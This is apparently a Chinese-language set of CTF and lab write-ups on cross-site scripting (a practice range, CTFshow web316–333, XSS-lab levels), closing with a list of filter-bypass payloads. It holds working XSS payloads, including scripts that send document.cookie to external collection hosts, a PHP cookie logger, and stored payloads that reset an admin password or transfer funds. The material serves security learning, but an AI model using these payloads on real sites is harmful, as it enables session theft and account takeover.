一、好靶场
(一) 有的时候你需要闭合一下
1. 题目描述
提示:你可以通过 alert来测试poc。
有的时候需要你闭合字符串才可以
你可以使用的poc有:
● <img src=x onerror=alert(1)>
● <script>alert('xss')</script>
2. 解题
使用他所给提示的poc后内容直接显示在下面的留言内容里也就是直接写在html里

打开源码划到最后发现 用户输入被插入在 <input> 标签的 value 属性中。

3. 漏洞分析
3.1. 漏洞类型:存储型 XSS
留言内容提交后保存到服务器,每次访问页面都会从数据库读取并渲染到 HTML 中。刷新页面后 payload 仍然执行,因此是存储型
XSS。
3.2. 注入点上下文
输入被插入在 HTML 标签的属性值内:
<input type="text" value="[HERE]" readonly style="…">
这意味着:
– < 和 > 如果没有被过滤,理论上可以闭合标签
– " 可以闭合 value 属性
– <script> 标签被服务端过滤/黑名单拦截
3.3. 过滤机制分析
通过测试结果反推服务器端的过滤策略:
|
Payload |
结果 |
原因 |
|
<img src=x οnerrοr=alert(1)> |
否 |
在属性值内,<img> 不被解析为标签 |
|
<script>alert('xss')</script> |
否 |
<script> 标签被黑名单过滤 |
|
'><script>alert('xss')</script> |
否 |
' 无法闭合双引号属性值,且 script 被过滤 |
|
<svg οnlοad=alert(1)> |
否 |
同 <img>,在属性值内不解析 |
|
<body οnlοad=alert(1)> |
否 |
同上 |
|
"><img src=x οnerrοr=alert(1)> |
是 |
闭合属性 + 闭合 input 标签,注入新标签 |
推断服务端核心代码类似:
// 存在漏洞的代码
$comment = $_POST['comment'];
// 只过滤了 script 标签,未过滤 " 和 >
$comment = preg_replace('/<script>/i', '', $comment);
echo '<input type="text" value="'.$comment.'" readonly>';
"><img src=x onerror=alert(1)> 之所以成功,是因为 没有任何字符被过滤:
– " → 闭合 value="
– > → 闭合 <input …>
– <img src=x onerror=alert(1)> → 成为独立 HTML 标签,浏览器解析并执行 onerror
3.4. 完整攻击链
步骤 1:在留言输入框提交 payload:
"><img src=x onerror=alert(1)>
步骤 2:服务端存储 payload 到数据库(不做或只做有限的过滤)。
步骤 3:页面渲染时,payload 被插入到 HTML 中:
<input type="text" value=""><img src=x onerror=alert(1)>" readonly style="…">
浏览器解析为:
<input type="text" value="">
<img src=x onerror=alert(1)>
" readonly style="…"> ← 这段成为纯文本
步骤 4:<img> 标签加载失败(src=x 无效),触发 onerror 事件,执行 alert(1)。
步骤 5:flag 弹出(或通过其他方式获取)。
解题 Payload
"><img src=x onerror=alert(1)>
得到flag

(二) 你好,JSONP
1. 题目描述
留言测试 – 基于不安全 JSONP 接口
欢迎留言!演示 JSONP XSS 风险,请勿输入敏感信息。,注意这里因为是单独的靶场,所以没有办法给出两个不同域名的接口。
什么是 JSONP? JSONP(JSON with Padding)是一种解决 跨域请求资源 的前端技术方案。它的基本原理是:利用 <script> 标签可以跨域加载资源的特性,来远程获取并执行服务器返回的数据。 例如,在 a.com 域下,如果你想要获取 b.com 域下的 getUsers.json 数据,可以这样实现:
<script src="https://b.com/getUsers.json?callback=myCallback"></script>
服务端会返回如下内容(本质是返回一个包装了 JSON 的函数调用):
myCallback({"code": 0, "users": ["alice", "bob"]});
当前页面就能通过定义 myCallback 函数,实现对数据的跨域获取和处理。
2. 解题
这个挑战的完整攻击链如下:
2.1. 发现 JSONP XSS 注入点
/api/jsonp-vuln?callback=handleJsonpData&user=test 返回:
handleJsonpData({"code":200, "data":{"username":"test", …}})
callback 参数直接被包裹在 JSON 外层,没有任何过滤——可以注入任意 JS。
2.2. 利用 JSONP 触发 alert()
把 callback 设为 alert,服务端返回:
alert({"code":200, "data":{"username":"<你的user>", …}})
这直接调用 alert() 函数。
2.3. alert 被劫持,检查 /xss-vuln
页面中 alert() 被覆写了——被调用时会发 GET 到 /xss-vuln?name=<user>,如果响应包含 flag{ 就显示它。
2.4. /xss-vuln 的触发条件
测试发现只要 name 参数包含 <script>(XSS payload),就会返回 flag:
/xss-vuln?name=<script>alert(1)</script> → flag{…}
/xss-vuln?name=<script> → not found(不完整标签不触发)
2.5. 完整攻击步骤
直接在页面上(通过开发者工具把隐藏的 callback 输入框显示出来):
1. callback 输入:alert
2. user 输入:<script>alert(1)</script>
3. 点击"发表留言"
流程:JSONP 返回 → 调用 alert(…) → 覆写后的 alert 检查 lastSubmittedUser → 发 GET 到
/xss-vuln?name=<script>alert(1)</script> → 服务端检测到 XSS 注入 → 返回 flag。
flag{0e550d761e134a1e8b61b18281e4debd}
(三) 登录框存在反射型XSS
1. 题目描述
进入页面发现一个登录界面

2. 解题
当我输入账号密码都为admin时显示错误
然后点击忘记密码也没有任何反应
然后我打开源码看了一下

发现账号密码都被直接拼接到返回页面的 value 属性中
并且完全没有做任何过滤或 HTML 编码,所有字符原样反射。
反射点在 value="…" 属性内部,所以需要先闭合属性才能让脚本执行
所有我们可以使用
"><script>alert(document.cookie)</script>
结果就是

然后得到flag

二、CTFshow
(一) web316
进入页面

当我输入1时下面会返回1

试了下2发现这个数据在这

然后我试了下正常注入
<script>alert(1)</script>

返回这个说我不是管理员不给我flag

并且这个位置也没有数据
试了好几种payload均返回这个
去看了看WP才知道
你访问页面时,服务器返回的 cookie 是 flag=you are not admin no flag
有一个 admin 机器人每隔约15秒会访问这个页面
admin 的 cookie 里存的是真正的 flag
你需要用 XSS 把 admin 的 cookie 偷过来
解决方案
方法1:用自己的公网服务器
在你的服务器上放一个接收 cookie 的文件 x.php:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\\n");
fclose($log);
?>
然后构造 XSS URL:
https://f686af1b-270e-490f-aacc-b7bb3e9dd646.challenge.ctf.show/?msg=<script>location.href="http://你的服务器IP/x.php?
cookie="+document.cookie</script>
等十几秒,admin 机器人访问后,查看 cookie.txt 就拿到 flag 了。
方法2:用 XSS 平台(不需要自己的服务器)
可以用现成的 XSS 平台:
– xss.pt (https://xss.pt/xss.php)
– xsshs.cn (https://xsshs.cn/)
注册项目 → 生成 XSS 代码 → 构造到 URL 里 → 等回调。
方法3:用 webhook
https://f686af1b-270e-490f-aacc-b7bb3e9dd646.challenge.ctf.show/?msg=<script>new
Image().src="https://你的webhook地址/?c="+document.cookie</script>
—
注意: 一定要用公网可达的地址,不能用 127.0.0.1 或 localhost。如果 <script> 标签被过滤,换 <body οnlοad=…> 或 <img
src=x οnerrοr=…>
但是我试了下用xss平台但是没有用得不到flag
问了下AI
让我去用RequestBin注册完后给了一个域名
通过这个域名构造payload
https://eo8c07jkyusei4r.m.pipedream.net

payload
<script>document.location.href="https://eo8c07jkyusei4r.m.pipedream.net?cookie="+document.cookie</script>

(二) web317
这道题进来和上道题一样都是

这道题我尝试了一下上一道的payload
发现script被guolv
但我们还可以使用input
打开BP打开协作器获取一个url
<input onfocus="window.open('http://q7yt7mgur695rwqdakm4cg2jpav2jt7i.oastify.com?cookie='+document.cookie)" autofocus>
其他的方法:
<svg onload="window.open('http://ip/'+document.cookie)">
<iframe onload="window.open('http://ip/'+document.cookie)"></iframe>
<body onload="window.open('http://ip/'+document.cookie)">
点击立即轮询得到flag

(三) web318
打开环境仍然是一个反射型XSS题
继续使用上一道的办法
<input onfocus="window.open('http://q7yt7mgur695rwqdakm4cg2jpav2jt7i.oastify.com?cookie='+document.cookie)" autofocus>
得到flag

(四) web319
这道题和上道一样
得到了flag

(五) web320-326
这几道题与之前不同的是这道题把空格过滤了
我们可以用%09,/**/来绕过空格
但经测试发现%09不可以
都可以使用/**/来绕过
<input/**/onfocus="window.open('http://5dj8d1m9xlfkxbwsgzsjiv8yvp1mpdd2.oastify.com?cookie='+document.cookie)"/**/autofocus>
得到flag

(六) web327
从这道题开始就是存储型XSS了

因为cookie里显示不是管理员不给flag
所以我猜测就算给admin发消息
发送
<input onfocus="window.open('http://5dj8d1m9xlfkxbwsgzsjiv8yvp1mpdd2.oastify.com?cookie='+document.cookie)" autofocus>
得到flag

(七) web328
这道题进来是一个登录界面但是登录不上去
我将payload输入到账号密码没有回显
点开用户管理可以看到

都是仅管理员可见
我想的是可能需要改cookie值伪造管理员
但实际操作不是很清楚
这里看一下其他人的wp
发现需要获取管理员cookie
打开BP写作其复制payload
我们可以通过下面这个去注册账号密码随便
<script>window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie</script>
然后我们可以在BP上得到cookie

然后修改cookie值就可以得到flag

(八) web329
这道进来和上道一样我先尝试上道的方法
<script>window.location.href='http://eeww1w94zfrpes43uvl51i5d0460uqif.oastify.com/2.php?c='+document.cookie</script>
试了下发现不行
cookie会快速失效
需要极快的速度完成步骤
所以现在的cookie肯定是不能用了
去网上看了下大佬的WP
可以用
<script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://i7q0u028sjkt7wx7nze9umyht8z5nvbk.oastify.com/"+value.innerHTML);}}})</script>
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')==0){
window.location.href='http://fe6e643.cpolar.top/2.php?c='+value.innerHTML;
}
});
</script>
需要直接拿用户管理界面的内容
当管理员访问用户管理页面时,xss直接将这个页面的内容(flag)拿出来
payload:迭代所有行,如果行包含ctfshow关键字,那么将该值给到远程服务器,进而获得flag。
各组成部分作用
|
部分 |
作用 |
|
$('.layui-table-cell') |
使用 jQuery 选择所有 class 为 layui-table-cell 的元素(通常是表格单元格) |
|
.each(…) |
遍历每个匹配的 DOM 元素 |
|
if(value.innerHTML.indexOf('ctfshow') > -1) |
检查单元格的 HTML 内容中是否包含字符串 'ctfshow' (常用于 CTF 题目 flag 的前缀或标识) |
|
window.open("…/" + value.innerHTML) |
如果包含,则在新窗口/标签页中打开攻击者控制的服务器地址,并将单元格的完整内容作为 URL 路径的一部分发送出去 |
|
oastify.com |
一个公开的 DNS/HTTP 外带测试平台(类似 Burp Collaborator),攻击者可在后台查看收到的请求及路径中的敏感数据 |
得到了flag

(九) web330
这道题我试了一下上道题的payload
无法返回flag
所以我们正常获取管理员cookie试试
发现也不行
这道和上道一样都需要极快的速度完成获取flag步骤
大佬的wp是这样的

多了个修改密码界面
抓包可以看到api接口

这次触发script语句的地方在用户名那里。 注册一个账号,用户名是payload语句,密码随便写,比如123。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
之后用这个账号和密码去登录一下。登录完成后,管理员admin的密码就被成功修改成123了,此时即可成功登录。
得到flag

(十) web331

抓包可以发现改为post传参修改密码
所以我们修改一下payload
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
得到flag

(十一) web332
这道题需要去购买flag
我试了试发现可以转负值
但是不能用

购买flag错误
要先注册一个普通账户 例如用户名 aa 密码 aa 不要注册单字符的用户 单字符的用户购买flag会回显先登录 不清楚为什么
再以payload注册一个账户
| <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'aa',a:10000}});</script> |
登录之后他就会每隔一段时间自动执行一次该xss并往a账户转账10000
购买flag即可

(十二) web333
这道完全可以使用上一道的做法
得到flag

三、XSS-lab
(一) pass-1 直接注入

输入1看源码

得到回显位如上图
回显直接出现在html上说明这是反射性XSS
可以试试下面这个payload
<script>alert(1)</script>
提前闭合script然后输出后面的
通关

(二) pass-2 转义 闭合

看源码注入在这

可以看到body在前,所以我们可以闭合body试试
<body onload=alert(1)>
但是当我输入后看源码发现
<>被替换为&1t

说明<被转义
不对以上分析均错
回显实际在value里
我们可以闭合引号来绕过
"><img src=x onerror=alert(1)>
"><script>alert(1)</script>
过关

(三) pass-3 利用鼠标属性

输入1后回显也在value里

输入
<script>alert(1)</script>
测试发现<>被转义

去网上搜了一下被转义怎么绕过
编码混淆 当尖括号被转义时,可利用未转义的引号闭合属性并注入事件:
<input value='onmouseup=alert(123)//'>
'onmouseup=alert(123)//
'onclick='alert(1)
通关

(四) pass-4 过滤

输入查询发现注入在value值里

试试双引号闭合
"><img src=x onerror=alert(1)>

虽然传输上去了但没有通关的消息
<>被过滤了
所以我们再试
" onfocus=alert(1) autofocus">
" onclick="alert(1)
刚发送时没弹窗当我再次点击弹窗时出现通关的消息

(五) pass-5 绕过元素

注入点还是这里

先使用下面的测试一下
<script>alert(1)</script>
发现
上传后前面的script变为scr_ipt

输入
"><img src=x onerror=alert(1)>
onerror变为o_nerror

尝试一下大小写绕过
<ScRiPt>alert(1)</ScRiPt>
发现不行会自动识别为小写

经过测试发现这道题可能把script,onerror等标签都过滤了
想了很久都没有思路
看了下大佬的wp
javascript:alert(1) 使用了java伪协议,感兴趣的可以百度查查,就是把javascript: :后面的代码当JavaScript来执行
"><iframe src="javascript:alert(1)"></iframe>
"><a href="javascript:alert(1)">
通关

绕过原因:
- "><iframe src="javascript:alert(1)"></iframe>
- 用了 iframe 标签和 src 属性,用了 javascript: 伪协议。
- 这些词都没被列入黑名单,所以完好无损。
- "> 只是用来闭合前面的标签和属性,让后面的 iframe 独立生效。
- "><a href="javascript:alert(1)">
- 用了 a 标签和 href 属性,同样用了 javascript: 伪协议。
- 完全不包含 script 或 onerror,所以过滤器忽略。
(六) pass-6 大小写绕过

输入回显发现注入仍然在value值里面

测试发现这道也过滤了script

发现不仅过滤了上道题的东西
还过滤了href,src


但是测试发现大小写可以绕过这个herf,src

"><a hrEf="javascript:alert(1)">
"><iframe sRc="javascript:alert(1)"></iframe>
通关

(七) pass-7 双写绕过

仍然回显在value

这道题直接把script过滤掉了

我们尝试一下双写script可不可以绕过
"><scscriptript>alert(1)</sscriptcript>
通关

(八) pass-8 HTML实体编码绕过

回显在value

先尝试一下
<script>alert(1)</script>
发现<>被转义
试一下下面这俩个
"><img src=x onerror=alert(1)>
"><script>alert(1)</script>
发现引号也被转义

这道题属于 引号+<> 过滤绕过
试了一下单引号绕过发现<>还是处于被转义状态

试了一下
|
1 |
2 |
3 |
4 |
|
|
" |
" |
“ |
双引号 |
|
|
& |
& |
& |
&符号 |
|
|
< |
< |
< |
小于号 |
|
|
> |
> |
> |
大于号 |
发现中间还多了 &
目前不知道这是什么东西
试了好几种都发现不行
看了看WP说这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞)
但是我经试验发现正常payload进行HTML实体无法绕过
点击友情链接显示404
我问了一下AI 说wp给出的payload是一个javascript伪链接
- 在 href 属性里,HTML 实体解码后得到 javascript:alert(1),这是一个 javascript: 伪协议链接。 用户点击这个链接时,浏览器会执行冒号后面的 JavaScript 代码,从而弹出 alert。
- 它不需要尖括号,不依赖 HTML 标签解析,只需要出现在 href 属性里并被点击即可。
不是 Unicode 编码在某种输入上失效,而是属性内部不能创建新标签。 <script> 这种“标签型” payload 只能在新 HTML 标签的上下文中生效,而属性里只能使用 javascript: 这类“协议型” payload。 因此,只有利用 href + javascript: 伪协议的编码才能通关。
所以payload为
javascript:alert(1)
的HTML实体编码
javascript:alert(1)
通关

(九) pass-9 //http://


这道题我试了上道以及之前使用的都不行,看了wp
显示链接不合法?意思是让我们输入个待http://的值?试着输入以下,查看源代码。
好像链接合法了,但是http://在前面是无法执行JavaScript,那么如何去除呢,我们想到这个是php代码,是不是可以用双斜杠进行注释,http://放到最后面不就注释掉了嘛。注意这关也需要实体化字符串。
然后要生成链接加上之前的就可以了
payload :
javascript:alert(1)//http://
通关

(十) pass-10 hidden

者道题不同的是注入点在GET请求里

发现输入框被hidden了
继续使用测试payload
<script>alert(1)</script>

发现<>"仍然还是被转义需要绕过
把type属性删掉或者修改hidden为text,则会出现输入框。按F12,选中上面的元素
修改为text没有什么用

这里显示输入框作用不大,因为没有按钮,我们想到使用url给输入框传参,三个都传一下,看哪个发生变化。
http://xss-lab:8081/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现只有t_sort发生了变化
我们给t_sort传参
?keyword=1&t_sort="><script>alert(1)</script>

发现<>被过滤
那么可以换成鼠标事件进行过滤。注意这时就需要把hidden改为text,因为要进行点击执行JavaScript。
payload:
?keyword=1&t_sort=" onclick="alert(1)

修改完后出现框,点击即可通关

方法2:
?t_sort=" type="text" onclick="alert('xss')
这个不需要手动去改type
点击即可通关

(十一) pass-11 Referer注入


这道题多了个t_ref,按照上道题方法对每一个传参
http://xss-lab:8081/level11.php?keyword=1&t_link=2&t_history=3&t_sort=4&t_ref=5

发现t_sort和t_refvalue值都改变了,t_ref没有变成我们传入的值
试了下上道题的payload发现不行
http://xss-lab:8081/level11.php?keyword=1&t_sort=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

t_sort的值被实体化了,回想到t_ref的value的值是前一个页面的地址,通过$_SERVER['HTTP_REFERER']也可以获取前一个页面的地址。所以referer请求头也成了输出参数。
Referer是HTTP请求header的一部分,当浏览器向web服务器发送请求的时候,头信息里就有包含,比如在www.Firefox.com 里有一个www.baidu.com链接,那么点击这个链接 ,它的header信息里就会看见有:referer= http://www.Firefox.com ,说明是被引用过来的
我们尝试referer注入。通过F12hacker修改referer
payload
" type="text" onmousemove="alert(1)
或
" onclick="alert(1) (不过这个需要修改hidden为text)
通关

第2个先修改refer

再修改hidden为text通关

(十二) pass-12 use-agent注入


对这几个进行注入测试
http://xss-lab:8081/level12.php?keyword=1&t_link=2&t_history=3&t_sort=4&t_ua=5

发现t_sort发生变化,t_ua回显的内容有点像是use-agent的内容
所以我猜测这道题可能就是use-agent注入
直接F12修改use-arent内容为
" type="text" onmousemove="alert(1)
通关

(十三) pass-13 cookie注入


测试
http://xss-lab:8081/level13.php?keyword=1&t_link=2&t_history=3&t_sort=4&t_cook=5

发现cook的回显改变为call me maybe?
抓包一下

发现回显在cookie所以这道是cookie注入题
我修改BP的cookie防包无回显
所以我们使用F12来修改
user=" type="text" onmousemove="alert(1)
通关

(十四) pass-14
无法正常写题,跳过

(十五) pass-15 (ng-include文件包含)


这个代码实在是没有头绪,看了一下大佬WP
ng-include指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
AngularJS ng-include 指令 | 菜鸟教程 (runoob.com)
注入过程
查看网页源代码

发现个ng-include:,include作用是将同一服务器的html文件包含进来,和src进行传参,在请求 src 资源时会将其指向的资源下载并应用到文档中,比如 JavaScript 脚本,img 图片等等,在这里我们将src指向任意一关,输入对应的xss弹窗脚本即可。
payload:
'level1.php?name=<img src=1 onerror=alert(1)>'
这里包含第一关的payload。
通关

绕过思路:
· ng-include: 是 AngularJS 指令的另一种写法( class 方式),等价于 <span ng-include="表达式">
· htmlspecialchars() 转义了 <> 等字符,阻止了直接注入 HTML 标签
· 但 AngularJS 的 ng-include 会解析表达式的值作为 URL,并发起 HTTP 请求加载外部 HTML
1 传给 src 的值被拼入 ng-include:'…',AngularJS 将其视为字符串表达式
2 Angular 把字符串值当作 URL,用 AJAX 请求 level1.php?name=<img src=1 οnerrοr=alert(1)>
3 level1.php 未过滤直接输出了 name 参数中的 <img onerror> 标签
4 浏览器解析返回的 HTML,执行 alert(1)
(十六) pass-16 空格过滤


测试
<script>alert(1)</script>

发现script被转义
换payload
" onfocus=alert(1) autofocus>

发现在"与onfocus,(1)与autofocus之间多了符号
上面也是所以我猜测这是空格过滤
然后我试了下
"/**/onfocus=alert(1)/**/autofocus>
发现/被过滤%09,%0c,%0a,%0d不行



可能是payload有问题
我们换一个
<img%09src=1%09onerror=alert(1)>
<img%0asrc=1%0aonerror=alert(1)>

%0a,%0c,%0d均可以通关

(十七) pass-17 embed标签 拼接绕过


点开srf后面的显示是一片乱码

这道题在我改动
?arg01=a&arg02=b为?arg01=1&arg02=2
回显也改变了
xsf01.swf?a=b为xsf01.swf?1=2
我尝试一下拼接一下
<img src=1 onerror=alert(1)>
?arg01=<img src=1 onerror&arg02=alert(1)>

可以看到尖括号被转义
所以我们换一下payload
" onfocus=alert(1) autofocus>
?arg01=" onfocus&arg02=alert(1) autofocus>

发现双引号也被转义了
试一下单引号绕过
'onclick='alert(1)
?arg01='onclick&arg02='alert(1)
只是成功输入了

发现都不行,看一下大佬的wp
<embed> 标签用于在HTML页面中嵌入外部内容,如多媒体文件、插件或其他交互式内容。它是HTML5的一部分。
以下是 <embed> 标签的基本语法:
<embed src="URL" type="MIME-类型" width="宽度" height="高度">
常用的属性包括:
src:指定要嵌入的外部资源的URL。可以是音频、视频、SWF 文件等。
type:指定被嵌入资源的MIME类型。
width:指定嵌入内容的宽度(像素或百分比)。
height:指定嵌入内容的高度(像素或百分比)。
查看源代码

发现embed标签,用来嵌入外部内容,比如插件、多媒体文件等。尝试对arg01和arg02的值进行修改

发现src属性后面的值也在发生变化。这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。从而执行JavaScript语句。
payload:
?arg01=a&arg02=b onmousemove='alert(1)'
?arg01=a&arg02=b onclick='alert(1)'
大佬说的是火狐浏览器有可能不兼容,我用谷歌和Microsoft Edge都行,所以可能前面payload也有能通关的只不过不能用火狐
用了一下edge浏览器,过关

(十八) pass-18 拼接绕过


感觉和上道题类似
拼接一下即可
使用上一道题的payload
?arg01=a&arg02=b onmousemove='alert(1)'
?arg01=a&arg02=b onclick='alert(1)'
通关

(十九) pass-19-20


试了一下上道题的payload不行
看来看wp发现剩下俩道题都是涉及二进制,反编译暂时放过
(二十) 总结的一些payload
- 下面的payload不同场合适当加上 "> 来闭合页面的包含。(有些过时了被修复了)
<script>alert(document.cookie)</script>
<script>prompt(document.cookie)</script>
<script>confirm(/xss/)</script>
<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等
<script>alert/*dsa*/(1)</script> //绕过黑名单
<script>(alert)(1)</script> //绕过黑名单
<svg/onload=alert(1)>
<body onload=alert("XSS")>
<svg onload="alert(1)"> //过滤 script时
"><svg/onload=alert(1)//
<input value="1" autofocus onfocus=alert(1) x=""> //过滤 script时
<a href="" onclick="alert(1111)">
<iframe src="javascript:alert(1)"></iframe> //过滤 script时
<svg onmousemove="alert(1)">
<input name="name" value=”” onmousemove=prompt(document.cookie) >
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<input type = "button" value ="clickme" onclick="alert('click me')" />
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">
<IMG SRC="" onerror="javascript:alert('XSS');">
制表符 绕过滤器的
<IMG SRC="" onerror="javšscript:alert('XSS');">
1.<iframe src=javascript:alert(1)></iframe> //Tab
2.<iframe src=javas
cript:alert(1)></iframe> //回车
3.<iframe src=javas
cript:alert(1)></iframe> //换行
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javascript:\\u0061\\u006C\\u0065\\u0072\\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object>
"><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
<script>onerror=alert;throw document.cookie</script>
<script>{onerror=alert}throw 1337</script> //过滤 单引号,双引号,小括号时 没过滤script
<a href="" onclick="alert(1111)">
' οnclick=alert(1111) '


